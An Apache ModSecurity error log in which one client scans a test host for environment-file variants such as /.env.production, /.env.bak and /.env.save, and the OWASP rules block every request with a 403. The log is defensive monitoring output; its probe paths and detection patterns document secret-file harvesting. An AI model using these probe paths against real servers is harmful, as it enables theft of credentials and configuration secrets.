[Fri Oct 24 20:58:10.746947 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.821424 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.821688 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.821875 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.861839 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.862122 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.862320 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.916812 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbMAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.917028 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbMAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.917273 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbMAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.917455 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbMAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.983035 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbMQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.983307 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbMQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.983495 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbMQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.030471 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbMgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.030726 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbMgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.030896 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbMgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.085799 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbMwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.086005 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbMwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.086245 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbMwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.086445 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbMwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.166551 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.166737 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.166971 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.167171 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.207724 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.207972 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.208142 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.316229 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.316526 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNgAAAAE&quot;], referer: https://www.google.com/
